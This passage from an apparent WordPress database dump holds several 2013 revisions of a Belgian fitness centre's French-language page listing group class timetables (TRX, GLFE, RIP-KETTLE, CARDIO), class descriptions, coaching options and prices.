100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:39:04', '2013-10-05 08:39:04', '', 11, 'http://www.crosstrainingcenter.be/11-revision-117/', 0, 'revision', '', 0),
(345, 1, '2013-10-05 08:37:45', '2013-10-05 08:37:45', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h30&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:37:45', '2013-10-05 08:37:45', '', 11, 'http://www.crosstrainingcenter.be/11-revision-116/', 0, 'revision', '', 0),
(349, 1, '2013-10-05 08:49:46', '2013-10-05 08:49:46', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td 